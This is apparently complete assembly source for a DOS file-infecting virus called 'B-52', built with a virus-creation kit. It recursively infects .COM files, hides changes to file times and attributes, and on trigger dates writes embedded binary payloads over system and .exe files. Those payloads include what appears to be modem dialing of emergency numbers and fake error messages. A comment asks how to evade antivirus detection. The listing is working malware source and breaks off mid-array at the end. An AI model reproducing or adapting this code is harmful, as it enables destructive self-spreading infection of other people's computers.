; B-52.ASM -- B-52 ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by FrankenChrist virus_type equ 0 ; Appending Virus is_encrypted equ 0 ; We're not encrypted ; Yeah, it oughtta be ; considering all the ; ascii you can see in ; the final product, ; but SCAN 97 can detect ; it if you use encyption ; so if you know how to ; modify the encryption ; so it doesn't scan I'd ; love to know. tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h main proc near db 0E9h,00h,00h ; Near jump (for compatibility) start: call find_offset ; Like a PUSH IP find_offset: pop bp ; BP holds old IP sub bp,offset find_offset ; Adjust for length of host lea si,[bp + buffer] ; SI points to original start mov di,0100h ; Push 0100h on to stack for push di ; return to main program movsw ; Copy the first two bytes movsb ; Copy the third byte mov di,bp ; DI points to start of virus mov bp,sp ; BP points to stack sub sp,128 ; Allocate 128 bytes on stack mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer on stack int 021h call search_files ; Find and infect a file call search_files ; Find and infect another file call get_month cmp ax,0004h ; Did the function return 4? jg skip00 ; If greater, skip effect call get_hour cmp ax,0017h ; Did the function return 23? jne skip00 ; If not equal, skip effect jmp short strt00 ; Success -- skip jump skip00: jmp end00 ; Skip the routine strt00: lea dx,[di + data00] ; DX points to data lea si,[di + data01] ; SI points to data call drop_program end00: call get_hour cmp ax,000Eh ; Did the function return 14? jg skip01 ; If greater, skip effect call get_minute cmp ax,0028h ; Did the function return 40? jl skip01 ; If less, skip effect jmp short strt01 ; Success -- skip jump skip01: jmp end01 ; Skip the routine strt01: lea dx,[di + data02] ; DX points to data lea si,[di + data03] ; SI points to data call drop_program end01: call get_second cmp ax,001Eh ; Did the function return 30? jl skip02 ; If less, skip effect call get_weekday cmp ax,0003h ; Did the function return 3? jne skip02 ; If not equal, skip effect jmp short strt02 ; Success -- skip jump skip02: jmp end02 ; Skip the routine strt02: lea dx,[di + data04] ; DX points to data lea si,[di + data05] ; SI points to data call drop_program end02: com_end: pop dx ; DX holds original DTA address mov ah,01Ah ; DOS set DTA function int 021h mov sp,bp ; Deallocate local buffer xor ax,ax ; mov bx,ax ; mov cx,ax ; mov dx,ax ; Empty out the registers mov si,ax ; mov di,ax ; mov bp,ax ; ret ; Return to original program main endp search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ; SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function lea dx,[di + root] ; DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes lea dx,[di + all_files] ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself pushf ; Save the flags mov ah,03Bh ; DOS change directory function lea dx,[di + up_dir] ; DX points to parent directory int 021h popf ; Restore the flags jnc done_searching ; If we infected then exit another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: lea dx,[di + com_mask] ; DX points to "*.COM" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for com_mask db "*.COM",0 ; Mask for all .COM files traverse endp find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov si,bx ; SI points to the DTA mov byte ptr [di + set_carry],0 ; Assume we'll fail cmp word ptr [si + 01Ah],(65279 - (finish - start)) jbe size_ok ; If it's small enough continue jmp infection_done ; Otherwise exit size_ok: mov ax,03D00h ; DOS open file function, r/o lea dx,[si + 01Eh] ; DX points to file name int 021h xchg bx,ax ; BX holds file handle mov ah,03Fh ; DOS read from file function mov cx,3 ; CX holds bytes to read (3) lea dx,[di + buffer] ; DX points to buffer int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h xchg dx,ax ; Faster than a PUSH AX mov ah,03Eh ; DOS close file function int 021h xchg dx,ax ; Faster than a POP AX sub ax,finish - start + 3 ; Adjust AX for a valid jump cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? je infection_done ; If equal then exit mov byte ptr [di + set_carry],1 ; Success -- the file is OK add ax,finish - start ; Re-adjust to make the jump mov word ptr [di + new_jump + 1],ax ; Construct jump mov ax,04301h ; DOS set file attrib. function xor cx,cx ; Clear all attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h mov ax,03D02h ; DOS open file function, r/w int 021h xchg bx,ax ; BX holds file handle mov ah,040h ; DOS write to file function mov cx,3 ; CX holds bytes to write (3) lea dx,[di + new_jump] ; DX points to the jump we made int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h mov ah,040h ; DOS write to file function mov cx,finish - start ; CX holds virus length lea dx,[di + start] ; DX points to start of virus int 021h mov ax,05701h ; DOS set file time function mov cx,[si + 016h] ; CX holds old file time mov dx,[si + 018h] ; DX holds old file date int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attrib. function xor ch,ch ; Clear CH for file attribute mov cl,[si + 015h] ; CX holds file's old attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed ret ; Return to caller set_carry db ? ; Set-carry-on-exit flag buffer db 090h,0CDh,020h ; Buffer to hold old three bytes new_jump db 0E9h,?,? ; New jump to virus infect_file endp drop_program proc near push di ; Save DI mov ah,02Fh ; DOS get DTA function int 021h mov di,bx ; DI points to DTA mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes int 021h jc create_file ; If not found then create it write_in_file: mov ax,04301h ; DOS set file attributes function xor cx,cx ; File will have no attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ax,03D01h ; DOS open file function, write lea dx,[di + 01Eh] ; DX points to file name int 021h xchg bx,ax ; Transfer file handle to AX mov ah,040h ; DOS write to file function mov cx,[si] ; CX holds number of byte to write lea dx,[si + 2] ; DX points to the data int 021h mov ax,05701h ; DOS set file date/time function mov cx,[di + 016h] ; CX holds old file time mov dx,[di + 018h] ; DX holds old file data int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attributes function xor ch,ch ; Clear CH for attributes mov cl,[di + 015h] ; CL holds old attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ah,04Fh ; DOS find next file function int 021h jnc write_in_file ; If successful do next file jmp short dropper_end ; Otherwise exit create_file: mov ah,03Ch ; DOS create file function xor cx,cx ; File has no attributes int 021h xchg bx,ax ; Transfer file handle to AX mov ah,040h ; DOS write to file function mov cx,[si] ; CX holds number of byte to write lea dx,[si + 2] ; DX points to the data int 021h mov ah,03Eh ; DOS close file function int 021h dropper_end: pop di ; Restore DI ret ; Return to caller drop_program endp data00 db "c:\dos\*.com",0 get_hour proc near mov ah,02Ch ; DOS get time function int 021h mov al,ch ; Copy hour into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_hour endp get_minute proc near mov ah,02Ch ; DOS get time function int 021h mov al,cl ; Copy minute into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_minute endp get_month proc near mov ah,02Ah ; DOS get date function int 021h mov al,dh ; Copy month into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_month endp get_second proc near mov ah,02Ch ; DOS get time function int 021h mov al,dh ; Copy second into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_second endp get_weekday proc near mov ah,02Ah ; DOS get date function int 021h cbw ; Sign-extend AL into AX ret ; Return to caller get_weekday endp data01 dw 269h db 0E9h, 000h, 000h, 0BFh, 012h, 001h, 0B9h, 073h db 001h, 02Eh, 081h, 005h, 000h, 000h, 047h, 047h db 0E2h, 0F7h, 0E8h, 000h, 000h, 05Dh, 081h, 0EDh db 015h, 001h, 081h, 0FCh, 04Ah, 054h, 074h, 00Bh db 08Dh, 0B6h, 0F8h, 001h, 0BFh, 000h, 001h, 057h db 0A4h, 0EBh, 011h, 01Eh, 006h, 00Eh, 01Fh, 00Eh db 007h, 08Dh, 0B6h, 0F7h, 001h, 08Dh, 0BEh, 0EFh db 001h, 0A5h, 0A5h, 0A5h, 0A5h, 0C6h, 086h, 097h db 004h, 003h, 0B4h, 01Ah, 08Dh, 096h, 06Ch, 004h db 0CDh, 021h, 0B4h, 047h, 0B2h, 000h, 08Dh, 0B6h db 02Ch, 004h, 0CDh, 021h, 0C6h, 086h, 02Bh, 004h db 05Ch, 0B8h, 024h, 035h, 0CDh, 021h, 089h, 09Eh db 027h, 004h, 08Ch, 086h, 029h, 004h, 0B4h, 025h db 08Dh, 096h, 0E7h, 003h, 0CDh, 021h, 00Eh, 007h db 08Dh, 096h, 0EAh, 003h, 0E8h, 0E3h, 000h, 08Dh db 096h, 0F0h, 003h, 0E8h, 0DCh, 000h, 0B4h, 03Bh db 08Dh, 096h, 0F6h, 003h, 0CDh, 021h, 073h, 0E8h db 0B4h, 02Ah, 0CDh, 021h, 080h, 0FAh, 00Fh, 072h db 020h, 081h, 0F9h, 0C8h, 007h, 072h, 01Ah, 03Ch db 000h, 075h, 016h, 0B4h, 02Ch, 0CDh, 021h, 080h db 0FDh, 013h, 075h, 00Dh, 080h, 0F9h, 0FFh, 074h db 056h, 080h, 0FEh, 0FFh, 075h, 003h, 080h, 0FAh db 03Ch, 0B8h, 024h, 025h, 0C5h, 096h, 027h, 004h db 0CDh, 021h, 00Eh, 01Fh, 0B4h, 03Bh, 08Dh, 096h db 02Bh, 004h, 0CDh, 021h, 0B4h, 01Ah, 0BAh, 080h db 000h, 081h, 0FCh, 046h, 054h, 074h, 003h, 0CDh db 021h, 0C3h, 007h, 01Fh, 0CDh, 021h, 08Ch, 0C0h db 005h, 010h, 000h, 02Eh, 001h, 086h, 0F1h, 001h db 02Eh, 003h, 086h, 0F5h, 001h, 0FAh, 02Eh, 08Bh db 0A6h, 0F3h, 001h, 08Eh, 0D0h, 0FBh, 0EAh, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0CDh, 020h, 000h, 000h, 000h, 000h, 000h, 0BEh db 03Ah, 002h, 033h, 0D2h, 0E8h, 022h, 000h, 0BEh db 03Ah, 002h, 0BAh, 001h, 000h, 0E8h, 019h, 000h db 0BEh, 03Ah, 002h, 0BAh, 002h, 000h, 0E8h, 010h db 000h, 0BEh, 03Ah, 002h, 0BAh, 003h, 000h, 0E8h db 007h, 000h, 0B8h, 000h, 04Ch, 0CDh, 021h, 0EBh db 088h, 0B8h, 043h, 000h, 0CDh, 014h, 0B4h, 001h db 0ACh, 00Ah, 0C0h, 074h, 004h, 0CDh, 014h, 0EBh db 0F5h, 0C3h, 041h, 054h, 026h, 046h, 04Ch, 030h db 04Dh, 030h, 044h, 054h, 039h, 031h, 031h, 00Dh db 00Ah, 000h, 05Bh, 04Dh, 050h, 043h, 05Dh, 000h db 043h, 061h, 06Ch, 06Ch, 020h, 039h, 031h, 031h db 020h, 000h, 0B4h, 04Eh, 0B9h, 007h, 000h, 0CDh db 021h, 072h, 04Eh, 0B0h, 000h, 0E8h, 05Ch, 001h db 0B4h, 03Fh, 08Dh, 096h, 098h, 004h, 0B9h, 01Ah db 000h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 081h db 0BEh, 098h, 004h, 04Dh, 05Ah, 074h, 026h, 08Bh db 086h, 08Fh, 004h, 03Dh, 04Eh, 044h, 074h, 025h db 08Bh, 086h, 086h, 004h, 03Dh, 0F4h, 001h, 072h db 01Ch, 03Dh, 050h, 0FCh, 077h, 017h, 08Bh, 09Eh db 099h, 004h, 081h, 0C3h, 0F9h, 002h, 03Bh, 0C3h db 074h, 00Bh, 0EBh, 07Ch, 090h, 081h, 0BEh, 0A8h db 004h, 04Ah, 054h, 075h, 005h, 0B4h, 04Fh, 0EBh db 0AEh, 0C3h, 0C4h, 086h, 0ACh, 004h, 089h, 086h db 0F7h, 001h, 08Ch, 086h, 0F9h, 001h, 0C4h, 086h db 0A6h, 004h, 08Ch, 086h, 0FBh, 001h, 089h, 086h db 0FDh, 001h, 08Bh, 086h, 0A0h, 004h, 0B1h, 004h db 0D3h, 0E0h, 093h, 0C4h, 086h, 086h, 004h, 08Ch db 0C2h, 050h, 052h, 02Bh, 0C3h, 083h, 0DAh, 000h db 0B9h, 010h, 000h, 0F7h, 0F1h, 089h, 096h, 0ACh db 004h, 089h, 086h, 0AEh, 004h, 089h, 086h, 0A6h db 004h, 0C7h, 086h, 0A8h, 004h, 04Ah, 054h, 05Ah db 058h, 005h, 0F6h, 002h, 083h, 0D2h, 000h, 0B1h db 009h, 050h, 0D3h, 0E8h, 0D3h, 0CAh, 0F9h, 013h db 0D0h, 058h, 080h, 0E4h, 001h, 089h, 096h, 09Ch db 004h, 089h, 086h, 09Ah, 004h, 00Eh, 007h, 0FFh db 0B6h, 0ACh, 004h, 0B9h, 01Ah, 000h, 0EBh, 01Ah db 0B9h, 003h, 000h, 02Bh, 0C1h, 08Dh, 0B6h, 098h db 004h, 08Dh, 0BEh, 0F8h, 001h, 0A5h, 0A4h, 0C6h db 044h, 0FDh, 0E9h, 089h, 044h, 0FEh, 005h, 003h db 001h, 050h, 051h, 033h, 0C9h, 0E8h, 08Eh, 000h db 0B0h, 002h, 0E8h, 07Fh, 000h, 0B4h, 040h, 08Dh db 096h, 098h, 004h, 059h, 0CDh, 021h, 0B8h, 002h db 042h, 033h, 0C9h, 099h, 0CDh, 021h, 0B4h, 02Ch db 0CDh, 021h, 089h, 096h, 00Ch, 001h, 08Dh, 0BEh db 0F9h, 003h, 0B8h, 055h, 053h, 0ABh, 08Dh, 0B6h db 003h, 001h, 0B9h, 00Fh, 000h, 056h, 051h, 0F3h db 0A4h, 080h, 0B6h, 00Bh, 001h, 028h, 08Dh, 0B6h db 0D8h, 003h, 0B9h, 00Fh, 000h, 0F3h, 0A4h, 059h db 05Eh, 05Ah, 057h, 056h, 051h, 0F3h, 0A4h, 0B8h db 05Dh, 05Bh, 0ABh, 0B0h, 0C3h, 0AAh, 083h, 0C2h db 00Fh, 089h, 096h, 004h, 001h, 0E8h, 061h, 000h db 059h, 05Fh, 05Eh, 0F3h, 0A4h, 0B8h, 001h, 057h db 08Bh, 08Eh, 082h, 004h, 08Bh, 096h, 084h, 004h db 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 0B5h, 000h db 08Ah, 08Eh, 081h, 004h, 0E8h, 017h, 000h, 0FEh db 08Eh, 097h, 004h, 075h, 004h, 058h, 0E9h, 0C7h db 0FDh, 0E9h, 0E9h, 0FEh, 0B4h, 03Dh, 08Dh, 096h db 08Ah, 004h, 0CDh, 021h, 093h, 0C3h, 0B8h, 001h db 043h, 08Dh, 096h, 08Ah, 004h, 0CDh, 021h, 0C3h db 05Bh, 05Dh, 0B4h, 040h, 08Dh, 096h, 003h, 001h db 0B9h, 0F6h, 002h, 0CDh, 021h, 053h, 055h, 0B0h db 003h, 0CFh, 02Ah, 02Eh, 065h, 078h, 065h, 000h db 02Ah, 02Eh, 063h, 06Fh, 06Dh, 000h, 02Eh, 02Eh db 000h data02 db "*.exe",0 data03 dw 64Ah db 0EBh, 007h, 069h, 090h, 090h, 090h, 0CDh, 020h db 090h, 0E8h, 000h, 000h, 05Dh, 081h, 0EDh, 00Ch db 001h, 050h, 0E8h, 002h, 000h, 0EBh, 021h, 03Eh db 08Ah, 086h, 046h, 007h, 08Dh, 0B6h, 035h, 001h db 0B9h, 00Fh, 006h, 030h, 004h, 0D2h, 0C0h, 046h db 0E2h, 0F9h, 0C3h, 0E8h, 0E9h, 0FFh, 059h, 0CDh db 021h, 0E8h, 0E3h, 0FFh, 0C3h, 051h, 0EBh, 0F3h db 058h, 033h, 0FFh, 0FAh, 08Eh, 0D7h, 0BCh, 0F0h db 002h, 0FBh, 0BEh, 096h, 000h, 036h, 08Bh, 01Ch db 036h, 08Bh, 04Ch, 002h, 08Dh, 096h, 037h, 007h db 036h, 089h, 014h, 036h, 08Ch, 04Ch, 002h, 026h db 08Bh, 0B5h, 0F8h, 002h, 081h, 0FEh, 043h, 046h db 075h, 002h, 0EBh, 035h, 02Eh, 089h, 05Dh, 04Ch db 02Eh, 089h, 04Dh, 04Eh, 00Eh, 007h, 03Eh, 0C6h db 086h, 074h, 007h, 000h, 03Eh, 0C6h, 086h, 043h db 007h, 003h, 08Dh, 0B6h, 005h, 001h, 0BFh, 000h db 001h, 0FCh, 0A5h, 0A5h, 0B4h, 01Ah, 08Dh, 096h db 047h, 007h, 0CDh, 021h, 0B4h, 04Eh, 08Dh, 096h db 03Ah, 007h, 08Dh, 0B6h, 065h, 007h, 052h, 0EBh db 044h, 0B4h, 01Ah, 0BAh, 080h, 000h, 0CDh, 021h db 033h, 0FFh, 08Eh, 0C7h, 0BEh, 096h, 000h, 02Eh db 08Bh, 05Dh, 04Ch, 026h, 089h, 01Ch, 02Eh, 08Bh db 04Dh, 04Eh, 026h, 089h, 04Ch, 002h, 00Eh, 007h db 03Eh, 08Bh, 086h, 072h, 007h, 033h, 0DBh, 08Bh db 0CBh, 08Bh, 0D1h, 08Bh, 0F2h, 08Bh, 0FEh, 0BCh db 0FEh, 0FFh, 0BDh, 000h, 001h, 055h, 08Bh, 0E8h db 0C3h, 00Bh, 0DBh, 074h, 006h, 0B4h, 03Eh, 0CDh db 021h, 033h, 0DBh, 0B4h, 04Fh, 05Ah, 052h, 033h db 0C9h, 033h, 0DBh, 0CDh, 021h, 073h, 003h, 0E9h db 0A4h, 000h, 0B8h, 002h, 03Dh, 08Bh, 0D6h, 0CDh db 021h, 072h, 0DEh, 08Bh, 0D8h, 0B4h, 03Fh, 0B9h db 004h, 000h, 08Dh, 096h, 005h, 001h, 0CDh, 021h db 03Eh, 080h, 0BEh, 008h, 001h, 069h, 074h, 0C9h db 03Eh, 080h, 0BEh, 005h, 001h, 04Dh, 074h, 0C1h db 0B8h, 002h, 042h, 033h, 0C9h, 033h, 0D2h, 0CDh db 021h, 080h, 0FCh, 0F8h, 077h, 0B3h, 03Eh, 089h db 086h, 075h, 007h, 0B4h, 040h, 0B9h, 004h, 000h db 08Dh, 096h, 005h, 001h, 0CDh, 021h, 03Eh, 08Ah db 0A6h, 046h, 007h, 0FEh, 0C4h, 080h, 0D4h, 000h db 03Eh, 088h, 0A6h, 046h, 007h, 0B4h, 040h, 0B9h db 03Eh, 006h, 08Dh, 096h, 009h, 001h, 0E8h, 0ECh db 0FEh, 0B8h, 000h, 042h, 033h, 0C9h, 033h, 0D2h db 0CDh, 021h, 03Eh, 08Bh, 086h, 075h, 007h, 040h db 03Eh, 089h, 086h, 006h, 001h, 03Eh, 0C6h, 086h db 005h, 001h, 0E9h, 03Eh, 0C6h, 086h, 008h, 001h db 069h, 0B4h, 040h, 0B9h, 004h, 000h, 08Dh, 096h db 005h, 001h, 0CDh, 021h, 03Eh, 0FEh, 086h, 074h db 007h, 03Eh, 0FEh, 08Eh, 043h, 007h, 074h, 02Eh db 03Eh, 0FEh, 086h, 046h, 007h, 03Eh, 080h, 096h db 046h, 007h, 000h, 0E9h, 043h, 0FFh, 03Eh, 080h db 0BEh, 074h, 007h, 003h, 073h, 018h, 0BFh, 000h db 001h, 081h, 03Dh, 0CDh, 020h, 074h, 00Fh, 08Dh db 096h, 040h, 007h, 0B4h, 03Bh, 0CDh, 021h, 072h db 005h, 0B4h, 04Eh, 0E9h, 02Fh, 0FFh, 033h, 0FFh db 08Eh, 0C7h, 0B4h, 02Ah, 0CDh, 021h, 080h, 0FAh db 004h, 075h, 009h, 080h, 0FEh, 007h, 075h, 004h db 033h, 0C0h, 0EBh, 01Eh, 0B4h, 02Ch, 0CDh, 021h db 00Ah, 0C9h, 075h, 023h, 080h, 0FDh, 006h, 07Dh db 01Eh, 002h, 0CDh, 08Bh, 0C1h, 098h, 002h, 0C6h db 012h, 0C2h, 080h, 0D4h, 000h, 00Bh, 0C0h, 075h db 001h, 040h, 08Bh, 0D0h, 0B9h, 001h, 000h, 033h db 0DBh, 0B4h, 019h, 0CDh, 021h, 0CDh, 026h, 0BBh db 0DCh, 003h, 0B4h, 02Ch, 0CDh, 021h, 0FEh, 0C6h db 03Ah, 036h, 004h, 004h, 07Ch, 006h, 02Ah, 036h db 004h, 004h, 0EBh, 0F4h, 08Ah, 0C6h, 08Ah, 0C8h db 098h, 0D1h, 0E0h, 003h, 0D8h, 08Bh, 037h, 08Ah db 06Ch, 0FFh, 08Bh, 0D6h, 0B4h, 009h, 0CDh, 021h db 080h, 0FDh, 000h, 074h, 029h, 080h, 0FDh, 001h db 074h, 0FEh, 080h, 0FDh, 002h, 074h, 021h, 080h db 0FDh, 003h, 074h, 014h, 080h, 0FDh, 004h, 074h db 057h, 080h, 0FDh, 005h, 074h, 06Dh, 080h, 0FDh db 006h, 074h, 060h, 080h, 0FDh, 007h, 074h, 003h db 0E9h, 056h, 0FEh, 0E8h, 0FDh, 0FFh, 0CDh, 020h db 08Dh, 096h, 0A9h, 003h, 0B4h, 009h, 0CDh, 021h db 0B4h, 001h, 0CDh, 021h, 08Dh, 096h, 0D9h, 003h db 0B4h, 009h, 0CDh, 021h, 03Ch, 061h, 072h, 002h db 02Ch, 020h, 03Ch, 041h, 074h, 0E0h, 03Ch, 052h db 075h, 00Ch, 08Dh, 096h, 0D9h, 003h, 0B4h, 009h db 0CDh, 021h, 08Ah, 0F1h, 0EBh, 08Eh, 03Ch, 049h db 074h, 0C6h, 03Ch, 046h, 075h, 0CAh, 08Dh, 096h db 0C7h, 003h, 0B4h, 009h, 0CDh, 021h, 0CDh, 020h db 0B4h, 001h, 0CDh, 021h, 033h, 0C0h, 0B9h, 001h db 000h, 08Bh, 0D0h, 08Dh, 09Eh, 077h, 007h, 0CDh db 025h, 0EBh, 0A5h, 08Dh, 096h, 03Ah, 004h, 0B4h db 009h, 0CDh, 021h, 0B4h, 001h, 0CDh, 021h, 0EBh db 097h, 00Dh, 00Ah, 041h, 062h, 06Fh, 072h, 074h db 02Ch, 020h, 052h, 065h, 074h, 072h, 079h, 02Ch db 020h, 049h, 067h, 06Eh, 06Fh, 072h, 065h, 02Ch db 020h, 046h, 061h, 069h, 06Ch, 03Fh, 024h, 00Dh db 00Ah, 00Dh, 00Ah, 046h, 061h, 069h, 06Ch, 020h db 06Fh, 06Eh, 020h, 049h, 04Eh, 054h, 020h, 032h db 034h, 00Dh, 00Ah, 024h, 059h, 004h, 07Eh, 004h db 0A2h, 004h, 0C8h, 004h, 006h, 004h, 0FFh, 004h db 018h, 005h, 041h, 005h, 04Dh, 005h, 07Fh, 005h db 0EEh, 005h, 0F7h, 005h, 014h, 006h, 027h, 006h db 047h, 006h, 05Bh, 006h, 080h, 006h, 0ABh, 006h db 0CCh, 006h, 0F4h, 006h, 014h, 004h, 049h, 027h db 06Dh, 020h, 068h, 075h, 06Eh, 067h, 072h, 079h db 021h, 020h, 020h, 049h, 06Eh, 073h, 065h, 072h db 074h, 020h, 050h, 049h, 05Ah, 05Ah, 041h, 020h db 026h, 020h, 042h, 045h, 045h, 052h, 020h, 069h db 06Eh, 074h, 06Fh, 020h, 064h, 072h, 069h, 076h db 065h, 020h, 041h, 03Ah, 020h, 061h, 06Eh, 064h db 00Dh, 00Ah, 053h, 074h, 072h, 069h, 06Bh, 065h db 020h, 061h, 06Eh, 079h, 020h, 06Bh, 065h, 079h db 020h, 077h, 068h, 065h, 06Eh, 020h, 072h, 065h db 061h, 064h, 079h, 02Eh, 02Eh, 02Eh, 020h, 024h db 002h, 049h, 06Dh, 070h, 06Fh, 074h, 065h, 06Eh db 063h, 065h, 020h, 065h, 072h, 072h, 06Fh, 072h db 020h, 072h, 065h, 061h, 064h, 069h, 06Eh, 067h db 020h, 075h, 073h, 065h, 072h, 027h, 073h, 020h db 064h, 069h, 063h, 06Bh, 024h, 000h, 050h, 072h db 06Fh, 067h, 072h, 061h, 06Dh, 020h, 074h, 06Fh db 06Fh, 020h, 062h, 069h, 067h, 020h, 074h, 06Fh db 020h, 066h, 069h, 074h, 020h, 069h, 06Eh, 020h db 06Dh, 065h, 06Dh, 06Fh, 072h, 079h, 00Dh, 00Ah db 024h, 001h, 043h, 061h, 06Eh, 06Eh, 06Fh, 074h db 020h, 06Ch, 06Fh, 061h, 064h, 020h, 043h, 04Fh db 04Dh, 04Dh, 041h, 04Eh, 044h, 02Ch, 020h, 073h db 079h, 073h, 074h, 065h, 06Dh, 020h, 068h, 061h db 06Ch, 074h, 065h, 064h, 00Dh, 00Ah, 024h, 000h db 049h, 027h, 06Dh, 020h, 073h, 06Fh, 072h, 072h db 079h, 02Ch, 020h, 044h, 061h, 076h, 065h, 02Eh db 02Eh, 02Eh, 02Eh, 020h, 062h, 075h, 074h, 020h db 049h, 027h, 06Dh, 020h, 061h, 066h, 072h, 061h db 069h, 064h, 020h, 049h, 020h, 063h, 061h, 06Eh db 027h, 074h, 020h, 064h, 06Fh, 020h, 074h, 068h db 061h, 074h, 021h, 00Dh, 00Ah, 024h, 005h, 046h db 06Fh, 072h, 06Dh, 061h, 074h, 020h, 061h, 06Eh db 06Fh, 074h, 068h, 065h, 072h, 03Fh, 020h, 028h db 059h, 02Fh, 04Eh, 029h, 03Fh, 020h, 024h, 007h db 044h, 061h, 06Dh, 06Eh, 020h, 069h, 074h, 021h db 020h, 020h, 049h, 020h, 074h, 06Fh, 06Ch, 064h db 020h, 079h, 06Fh, 075h, 020h, 06Eh, 06Fh, 074h db 020h, 074h, 06Fh, 020h, 074h, 06Fh, 075h, 063h db 068h, 020h, 074h, 068h, 061h, 074h, 021h, 024h db 000h, 053h, 075h, 063h, 06Bh, 020h, 06Dh, 065h db 021h, 00Dh, 00Ah, 024h, 002h, 043h, 06Fh, 063h db 06Bh, 073h, 075h, 063h, 06Bh, 065h, 072h, 020h db 041h, 074h, 020h, 04Bh, 065h, 079h, 062h, 06Fh db 061h, 072h, 064h, 020h, 065h, 072h, 072h, 06Fh db 072h, 020h, 072h, 065h, 061h, 064h, 069h, 06Eh db 067h, 020h, 064h, 065h, 076h, 069h, 063h, 065h db 020h, 043h, 04Fh, 04Eh, 03Ah, 024h, 000h, 007h db 00Dh, 00Dh, 00Dh, 007h, 00Dh, 00Dh, 00Dh, 007h db 00Dh, 00Dh, 00Dh, 00Ah, 049h, 027h, 06Dh, 020h db 073h, 06Fh, 072h, 072h, 079h, 02Ch, 020h, 062h db 075h, 074h, 020h, 079h, 06Fh, 075h, 072h, 020h db 063h, 061h, 06Ch, 06Ch, 020h, 063h, 061h, 06Eh db 06Eh, 06Fh, 074h, 020h, 062h, 065h, 020h, 063h db 06Fh, 06Dh, 070h, 06Ch, 065h, 074h, 065h, 064h db 020h, 061h, 073h, 020h, 064h, 069h, 061h, 06Ch db 065h, 064h, 02Eh, 00Dh, 00Ah, 050h, 06Ch, 065h db 061h, 073h, 065h, 020h, 068h, 061h, 06Eh, 067h db 020h, 075h, 070h, 020h, 026h, 020h, 074h, 072h db 079h, 020h, 079h, 06Fh, 075h, 072h, 020h, 063h db 061h, 06Ch, 06Ch, 020h, 061h, 067h, 061h, 069h db 06Eh, 02Eh, 00Dh, 00Ah, 024h, 000h, 04Eh, 06Fh db 021h, 00Dh, 00Ah, 00Dh, 00Ah, 024h, 001h, 050h db 061h, 06Eh, 069h, 063h, 020h, 06Bh, 065h, 072h db 06Eh, 061h, 06Ch, 020h, 06Dh, 06Fh, 064h, 065h db 020h, 069h, 06Eh, 074h, 065h, 072h, 072h, 075h db 070h, 074h, 024h, 005h, 043h, 04Fh, 04Eh, 04Eh db 045h, 043h, 054h, 020h, 031h, 032h, 030h, 030h db 0ABh, 00Dh, 00Ah, 00Dh, 00Ah, 024h, 003h, 04Fh db 06Bh, 061h, 079h, 02Ch, 020h, 06Fh, 06Bh, 061h db 079h, 021h, 020h, 020h, 042h, 065h, 020h, 070h db 061h, 074h, 069h, 065h, 06Eh, 074h, 021h, 020h db 02Eh, 02Eh, 02Eh, 00Dh, 00Ah, 024h, 000h, 041h db 